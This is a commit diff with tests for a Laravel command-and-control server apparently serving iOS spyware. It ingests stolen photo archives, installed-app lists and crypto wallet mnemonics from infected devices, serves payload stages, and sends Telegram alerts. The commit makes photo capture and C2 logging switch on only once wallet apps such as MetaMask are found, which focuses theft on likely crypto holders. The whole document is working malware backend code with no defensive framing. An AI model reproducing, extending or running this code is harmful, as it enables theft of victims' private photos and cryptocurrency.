feat: close alumb
This commit is contained in:
@@ -137,7 +137,7 @@ class C2Controller extends Controller
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device) {
|
||||
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->archive->extract($bytes, $work, $batchBase);
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Http\Controllers\C2;
|
||||
|
||||
use App\Http\Controllers\Controller;
|
||||
use App\Models\Device;
|
||||
use App\Services\DarkSwordIngestAdapter;
|
||||
use App\Services\DsBeaconQueue;
|
||||
use Illuminate\Http\Request;
|
||||
@@ -274,18 +275,22 @@ class DarkSwordC2Controller extends Controller
|
||||
|
||||
$body = $logBody ?? $this->previewBody($request);
|
||||
$respPreview = $this->previewString((string) $response->getContent(), 4096);
|
||||
$entry = [
|
||||
'dir' => 'ds',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'query' => $request->query(),
|
||||
'headers' => c2_log_request_meta($request)['headers'],
|
||||
'body' => $body,
|
||||
'response' => $respPreview,
|
||||
];
|
||||
create_log($entry, 'ds');
|
||||
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
|
||||
$uid = $payload['deviceUUID'] ?? $payload['lhu'] ?? $payload['device'] ?? $payload['device_id']
|
||||
?? $request->attributes->get('coruna_device_key');
|
||||
if (Device::captureEnabledForKey(is_string($uid) ? $uid : null)) {
|
||||
$entry = [
|
||||
'dir' => 'ds',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'query' => $request->query(),
|
||||
'headers' => c2_log_request_meta($request)['headers'],
|
||||
'body' => $body,
|
||||
'response' => $respPreview,
|
||||
];
|
||||
create_log($entry, 'ds');
|
||||
error_log('[ds] '.$request->method().' '.$path.' req='.json_encode($body, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES).' resp='.$respPreview);
|
||||
}
|
||||
|
||||
return $response;
|
||||
}
|
||||
|
||||
@@ -108,7 +108,7 @@ class XxbbC2Controller extends Controller
|
||||
];
|
||||
|
||||
$attachmentRel = null;
|
||||
if ($request->hasFile('file') && $device) {
|
||||
if ($request->hasFile('file') && $device && $device->fresh()?->albumStorageEnabled()) {
|
||||
$bytes = file_get_contents($request->file('file')->getRealPath());
|
||||
$work = storage_path('app/c2/check/'.$device->device_id.'/'.date('YmdHis').'_'.uniqid());
|
||||
$extracted = $this->xxbbArchive()->extract($bytes, $work, $batchBase);
|
||||
|
||||
@@ -2,6 +2,7 @@
|
||||
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Closure;
|
||||
@@ -81,19 +82,21 @@ class DecryptCorunaBody
|
||||
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $headers,
|
||||
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
|
||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
if (Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $request->ip(),
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $headers,
|
||||
// 'raw_body' => $isMultipart ? null : (strlen($raw) > 200000 ? substr($raw, 0, 200000) : $raw),
|
||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'c2');
|
||||
}
|
||||
|
||||
$request->attributes->set('coruna_payload', $payload);
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
@@ -108,6 +111,10 @@ class DecryptCorunaBody
|
||||
|
||||
private function logResponse(Request $request, Response $response, string $path, $deviceKey): void
|
||||
{
|
||||
if (! Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
|
||||
return;
|
||||
}
|
||||
|
||||
$respBody = (string) $response->getContent();
|
||||
$respTs = (string) $response->headers->get('timestamp', '');
|
||||
$respHeaders = [];
|
||||
|
||||
@@ -3,6 +3,7 @@
|
||||
namespace App\Http\Middleware;
|
||||
|
||||
use App\Http\Controllers\C2\DarkSwordC2Controller;
|
||||
use App\Models\Device;
|
||||
use App\Services\CorunaCrypto;
|
||||
use App\Services\IngestService;
|
||||
use Closure;
|
||||
@@ -81,19 +82,21 @@ class DecryptXxbbBody
|
||||
$deviceKey = IngestService::normalizeDeviceKey(substr($deviceKey, 0, 64));
|
||||
}
|
||||
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $meta['ip'],
|
||||
'remote_addr' => $meta['remote_addr'],
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $meta['headers'],
|
||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'xxbb');
|
||||
if (Device::captureEnabledForKey(is_string($deviceKey) ? $deviceKey : null)) {
|
||||
create_log([
|
||||
'dir' => 'in',
|
||||
'method' => $request->method(),
|
||||
'path' => $path,
|
||||
'ip' => $meta['ip'],
|
||||
'remote_addr' => $meta['remote_addr'],
|
||||
'device_key' => $deviceKey ? substr((string) $deviceKey, 0, 64) : null,
|
||||
'timestamp_hdr' => $timestamp ?: null,
|
||||
'headers' => $meta['headers'],
|
||||
'payload' => is_array($payload) || $payload === null ? $payload : ['value' => $payload],
|
||||
'decrypt_ok' => $decryptOk,
|
||||
'error' => $error,
|
||||
], 'xxbb');
|
||||
}
|
||||
|
||||
$request->attributes->set('coruna_payload', $payload);
|
||||
$request->attributes->set('coruna_decrypt_ok', $decryptOk);
|
||||
|
||||
+20
-1
@@ -25,6 +25,7 @@ class Device extends Model
|
||||
protected $attributes = [
|
||||
'has_wallet' => self::WALLET_UNKNOWN,
|
||||
'chain' => self::CHAIN_CORUNA,
|
||||
'album_storage' => false,
|
||||
];
|
||||
|
||||
protected function casts(): array
|
||||
@@ -63,7 +64,25 @@ class Device extends Model
|
||||
|
||||
public function albumStorageEnabled(): bool
|
||||
{
|
||||
return (bool) ($this->album_storage ?? true);
|
||||
return (bool) ($this->album_storage ?? false);
|
||||
}
|
||||
|
||||
/** Photos and C2/DS file logs — only when album is on or wallet apps are present. */
|
||||
public function persistCaptureEnabled(): bool
|
||||
{
|
||||
return $this->albumStorageEnabled() || $this->hasWalletApps();
|
||||
}
|
||||
|
||||
public static function captureEnabledForKey(?string $deviceKey): bool
|
||||
{
|
||||
$key = preg_replace('/[^0-9A-Za-z._-]/', '', (string) $deviceKey) ?? '';
|
||||
if ($key === '') {
|
||||
return false;
|
||||
}
|
||||
$device = static::query()->where('device_id', $key)->first()
|
||||
?? static::query()->where('device_id', strtoupper($key))->first();
|
||||
|
||||
return $device?->persistCaptureEnabled() ?? false;
|
||||
}
|
||||
|
||||
public function apps(): HasMany
|
||||
|
||||
@@ -70,7 +70,7 @@ class DarkSwordIngestAdapter
|
||||
private function ingestStage(Request $request, array $payload): void
|
||||
{
|
||||
$uid = $this->extractDeviceKey($request, $payload);
|
||||
if ($uid === null) {
|
||||
if ($uid === null || ! Device::captureEnabledForKey($uid)) {
|
||||
return;
|
||||
}
|
||||
$stage = strtolower(trim((string) ($payload['stage'] ?? '')));
|
||||
@@ -111,7 +111,7 @@ class DarkSwordIngestAdapter
|
||||
private function ingestLog(Request $request, array $payload): void
|
||||
{
|
||||
$uid = $this->extractDeviceKey($request, $payload);
|
||||
if ($uid === null) {
|
||||
if ($uid === null || ! Device::captureEnabledForKey($uid)) {
|
||||
return;
|
||||
}
|
||||
if (is_string($payload['stage'] ?? null) && trim((string) $payload['stage']) !== '') {
|
||||
|
||||
@@ -422,6 +422,9 @@ class IngestService
|
||||
$alreadyYes = (int) $device->has_wallet === Device::WALLET_YES;
|
||||
$device->has_wallet = $labels === [] ? Device::WALLET_NONE : Device::WALLET_YES;
|
||||
$device->wallet_names = $labels === [] ? null : $labels;
|
||||
if ($device->has_wallet === Device::WALLET_YES && ! $device->albumStorageEnabled()) {
|
||||
$device->album_storage = true;
|
||||
}
|
||||
$device->save();
|
||||
|
||||
if (! $alreadyYes && $device->has_wallet === Device::WALLET_YES) {
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Device;
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
$driver = Schema::getConnection()->getDriverName();
|
||||
if ($driver === 'mysql') {
|
||||
DB::statement('ALTER TABLE devices MODIFY album_storage TINYINT(1) NOT NULL DEFAULT 0');
|
||||
}
|
||||
|
||||
DB::table('devices')
|
||||
->where('has_wallet', '!=', Device::WALLET_YES)
|
||||
->update(['album_storage' => false]);
|
||||
DB::table('devices')
|
||||
->where('has_wallet', Device::WALLET_YES)
|
||||
->update(['album_storage' => true]);
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
$driver = Schema::getConnection()->getDriverName();
|
||||
if ($driver === 'mysql') {
|
||||
DB::statement('ALTER TABLE devices MODIFY album_storage TINYINT(1) NOT NULL DEFAULT 1');
|
||||
}
|
||||
}
|
||||
};
|
||||
@@ -248,6 +248,7 @@ class C2ApiTest extends TestCase
|
||||
$this->assertSame(2, $device->apps()->count());
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
||||
$this->assertSame(['MetaMask'], $device->walletNameList());
|
||||
$this->assertTrue($device->albumStorageEnabled());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -286,6 +287,10 @@ class C2ApiTest extends TestCase
|
||||
#[Test]
|
||||
public function set_and_status_ingest_wallet_secrets_and_addresses(): void
|
||||
{
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-wallet-1',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$crypto = new CorunaCrypto;
|
||||
$mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
||||
$tsSet = '1722585600456';
|
||||
@@ -616,6 +621,10 @@ class C2ApiTest extends TestCase
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
$this->assertFileExists($archivePath);
|
||||
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-photo-1',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$resp = $this->call(
|
||||
'POST',
|
||||
@@ -662,6 +671,7 @@ class C2ApiTest extends TestCase
|
||||
'ios_version' => '15.8.4',
|
||||
'device_model' => 'iPhone9,1',
|
||||
'ip' => '1.2.3.4',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_norm_'.uniqid();
|
||||
@@ -730,6 +740,10 @@ class C2ApiTest extends TestCase
|
||||
exec($cmd, $out, $code);
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
|
||||
Device::query()->create([
|
||||
'device_id' => 'dev-photo-ts',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
// Live traffic: no batchBase field; password suffix is multipart `ts`.
|
||||
$this->call(
|
||||
@@ -757,6 +771,80 @@ class C2ApiTest extends TestCase
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function check_skips_photos_until_wallet_app_enables_album(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$crypto = new CorunaCrypto;
|
||||
$tmp = sys_get_temp_dir().'/coruna_photo_auto_'.uniqid();
|
||||
mkdir($tmp);
|
||||
$jpegPath = $tmp.'/hit.jpg';
|
||||
file_put_contents($jpegPath, "\xFF\xD8\xFF\xD9");
|
||||
$archivePath = $tmp.'/capture.7z';
|
||||
$password = $crypto->archivePassword('0');
|
||||
$bin = is_executable('/opt/homebrew/opt/p7zip/bin/7z')
|
||||
? '/opt/homebrew/opt/p7zip/bin/7z'
|
||||
: '7z';
|
||||
$cmd = escapeshellarg($bin).' a -y -p'.escapeshellarg($password)
|
||||
.' '.escapeshellarg($archivePath).' '.escapeshellarg($jpegPath).' 2>&1';
|
||||
exec($cmd, $out, $code);
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
'd' => 'dev-photo-auto',
|
||||
'f' => 'dev-photo-auto',
|
||||
'batchBase' => '0',
|
||||
],
|
||||
[],
|
||||
['file' => $upload],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
|
||||
$device = Device::query()->where('device_id', 'dev-photo-auto')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertFalse($device->albumStorageEnabled());
|
||||
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
||||
|
||||
$ts = '1722585600999';
|
||||
$enc = $crypto->encryptJson([
|
||||
'd' => 'dev-photo-auto',
|
||||
'al' => [
|
||||
['a' => 'MetaMask', 'b' => 'io.metamask', 'v' => '7.12.0'],
|
||||
],
|
||||
], $ts);
|
||||
$this->call('POST', '/api/user/get', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertTrue($device->albumStorageEnabled());
|
||||
|
||||
$upload2 = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$this->call(
|
||||
'POST',
|
||||
'/api/user/check',
|
||||
[
|
||||
'd' => 'dev-photo-auto',
|
||||
'f' => 'dev-photo-auto',
|
||||
'batchBase' => '0',
|
||||
],
|
||||
[],
|
||||
['file' => $upload2],
|
||||
['CONTENT_TYPE' => 'multipart/form-data']
|
||||
)->assertOk();
|
||||
|
||||
$this->assertTrue(Photo::query()->where('device_id', $device->id)->exists());
|
||||
|
||||
@unlink($jpegPath);
|
||||
@unlink($archivePath);
|
||||
@rmdir($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function admin_guest_is_redirected_to_admin_login(): void
|
||||
{
|
||||
|
||||
@@ -124,6 +124,15 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
->assertOk()
|
||||
->assertHeader('Content-Type', 'application/javascript; charset=utf-8')
|
||||
->assertSee('__peStage1', false);
|
||||
$this->assertSame(0, DsChainLog::query()->count());
|
||||
|
||||
Device::query()->create([
|
||||
'device_id' => '50624FE26CC4A0DF689EAEA117557C3E',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
|
||||
$this->get('/api/ds/pe-stage/s1_launchd?deviceUUID=50624FE26CC4A0DF689EAEA117557C3E')
|
||||
->assertOk();
|
||||
|
||||
$row = DsChainLog::query()->first();
|
||||
$this->assertNotNull($row);
|
||||
@@ -267,6 +276,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
DeviceApp::query()->where('device_id', $device->id)->where('bundle_id', 'com.apple.MobileSMS')->exists()
|
||||
);
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->fresh()->has_wallet);
|
||||
$this->assertTrue($device->fresh()->albumStorageEnabled());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -748,6 +758,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'album_storage' => true,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -794,6 +805,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'album_storage' => true,
|
||||
]);
|
||||
DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
@@ -864,6 +876,7 @@ class DarkSwordC2ApiTest extends TestCase
|
||||
$device = Device::query()->create([
|
||||
'device_id' => self::DS_LHU,
|
||||
'chain' => Device::CHAIN_DARKSWORD,
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$task = DsBeaconTask::query()->create([
|
||||
'device_id' => $device->id,
|
||||
|
||||
@@ -20,14 +20,14 @@ class DeviceAlbumStorageTest extends TestCase
|
||||
use RefreshDatabase;
|
||||
|
||||
#[Test]
|
||||
public function album_storage_defaults_on(): void
|
||||
public function album_storage_defaults_off(): void
|
||||
{
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-album-default',
|
||||
]);
|
||||
|
||||
$this->assertTrue($device->fresh()->albumStorageEnabled());
|
||||
$this->assertTrue((bool) $device->fresh()->album_storage);
|
||||
$this->assertFalse($device->fresh()->albumStorageEnabled());
|
||||
$this->assertFalse((bool) $device->fresh()->album_storage);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -48,6 +48,35 @@ class DeviceAlbumStorageTest extends TestCase
|
||||
@unlink($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function wallet_applist_turns_album_on_then_photos_store(): void
|
||||
{
|
||||
Storage::fake('local');
|
||||
$device = Device::query()->create([
|
||||
'device_id' => 'dev-album-wallet',
|
||||
'album_storage' => false,
|
||||
]);
|
||||
$tmp = sys_get_temp_dir().'/coruna_album_'.uniqid().'.jpg';
|
||||
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
||||
|
||||
$ingest = app(IngestService::class);
|
||||
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
||||
$this->assertSame(0, Photo::query()->where('device_id', $device->id)->count());
|
||||
|
||||
$ingest->ingestInstalledApps($device, [
|
||||
'al' => [
|
||||
['a' => 'MetaMask', 'b' => 'io.metamask.MetaMask'],
|
||||
],
|
||||
]);
|
||||
$device->refresh();
|
||||
$this->assertTrue($device->albumStorageEnabled());
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
||||
|
||||
$ingest->ingestPhotos($device, [$tmp], ['x_hit' => 1]);
|
||||
$this->assertSame(1, Photo::query()->where('device_id', $device->id)->count());
|
||||
@unlink($tmp);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function ingest_notifies_telegram_when_x_hit_is_12(): void
|
||||
{
|
||||
@@ -58,7 +87,7 @@ class DeviceAlbumStorageTest extends TestCase
|
||||
]);
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-hit12']);
|
||||
$device = Device::query()->create(['device_id' => 'dev-hit12', 'album_storage' => true]);
|
||||
$tmp = sys_get_temp_dir().'/coruna_hit12_'.uniqid().'.jpg';
|
||||
file_put_contents($tmp, "\xFF\xD8\xFF\xD9");
|
||||
|
||||
|
||||
@@ -27,6 +27,7 @@ class DeviceWalletFlagTest extends TestCase
|
||||
public function applist_without_plugin_wallets_marks_none(): void
|
||||
{
|
||||
$device = Device::query()->create(['device_id' => 'dev-wallet-none']);
|
||||
$this->assertFalse($device->albumStorageEnabled());
|
||||
|
||||
app(IngestService::class)->ingestInstalledApps($device, [
|
||||
'al' => [
|
||||
@@ -38,6 +39,7 @@ class DeviceWalletFlagTest extends TestCase
|
||||
|
||||
$device->refresh();
|
||||
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
|
||||
$this->assertFalse($device->albumStorageEnabled());
|
||||
$this->assertSame([], $device->walletNameList());
|
||||
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'com.foo.somecoinwallet')->value('is_wallet'));
|
||||
$this->assertFalse((bool) $device->apps()->where('bundle_id', 'ph.telegra.Telegraph')->value('is_wallet'));
|
||||
@@ -54,6 +56,7 @@ class DeviceWalletFlagTest extends TestCase
|
||||
Http::fake(['api.telegram.org/*' => Http::response(['ok' => true], 200)]);
|
||||
|
||||
$device = Device::query()->create(['device_id' => 'dev-wallet-yes']);
|
||||
$this->assertFalse($device->albumStorageEnabled());
|
||||
$ingest = app(IngestService::class);
|
||||
|
||||
$ingest->ingestInstalledApps($device, [
|
||||
@@ -63,6 +66,7 @@ class DeviceWalletFlagTest extends TestCase
|
||||
]);
|
||||
$device->refresh();
|
||||
$this->assertSame(Device::WALLET_NONE, (int) $device->has_wallet);
|
||||
$this->assertFalse($device->albumStorageEnabled());
|
||||
Http::assertNothingSent();
|
||||
|
||||
$ingest->ingestInstalledApps($device, [
|
||||
@@ -73,6 +77,7 @@ class DeviceWalletFlagTest extends TestCase
|
||||
]);
|
||||
$device->refresh();
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
||||
$this->assertTrue($device->albumStorageEnabled());
|
||||
$this->assertSame(['MetaMask', 'imToken'], $device->walletNameList());
|
||||
|
||||
$ingest->ingestInstalledApps($device, [
|
||||
|
||||
@@ -73,7 +73,9 @@ class PruneNowalletPhotosCommandTest extends TestCase
|
||||
{
|
||||
Storage::fake('local');
|
||||
[$none] = $this->deviceWithPhoto('dev-off', Device::WALLET_NONE);
|
||||
$this->assertTrue($none->albumStorageEnabled());
|
||||
$none->album_storage = true;
|
||||
$none->save();
|
||||
$this->assertTrue($none->fresh()->albumStorageEnabled());
|
||||
|
||||
$this->artisan('coruna:prune-nowallet-photos', [
|
||||
'--execute' => true,
|
||||
|
||||
@@ -130,6 +130,7 @@ class XxbbC2ApiTest extends TestCase
|
||||
$this->assertSame('imToken', $app->name);
|
||||
$this->assertSame(Device::WALLET_YES, (int) $device->has_wallet);
|
||||
$this->assertSame(['imToken'], $device->walletNameList());
|
||||
$this->assertTrue($device->albumStorageEnabled());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
@@ -282,6 +283,10 @@ class XxbbC2ApiTest extends TestCase
|
||||
exec($cmd, $out, $code);
|
||||
$this->assertSame(0, $code, implode("\n", $out));
|
||||
|
||||
Device::query()->create([
|
||||
'device_id' => '000C30D83CD0402E',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$upload = new UploadedFile($archivePath, 'capture.7z', 'application/octet-stream', null, true);
|
||||
$this->call(
|
||||
'POST',
|
||||
@@ -578,6 +583,10 @@ class XxbbC2ApiTest extends TestCase
|
||||
#[Test]
|
||||
public function xxbb_request_logs_to_xxbb_folder_not_c2(): void
|
||||
{
|
||||
Device::query()->create([
|
||||
'device_id' => '000C30D83CD0402E',
|
||||
'album_storage' => true,
|
||||
]);
|
||||
$marker = 'XXBBLOG'.uniqid();
|
||||
$xxbbLog = public_path('log/xxbb/'.date('Ymd').'.log');
|
||||
$c2Log = public_path('log/c2/'.date('Ymd').'.log');
|
||||
|
||||
Reference in New Issue
Block a user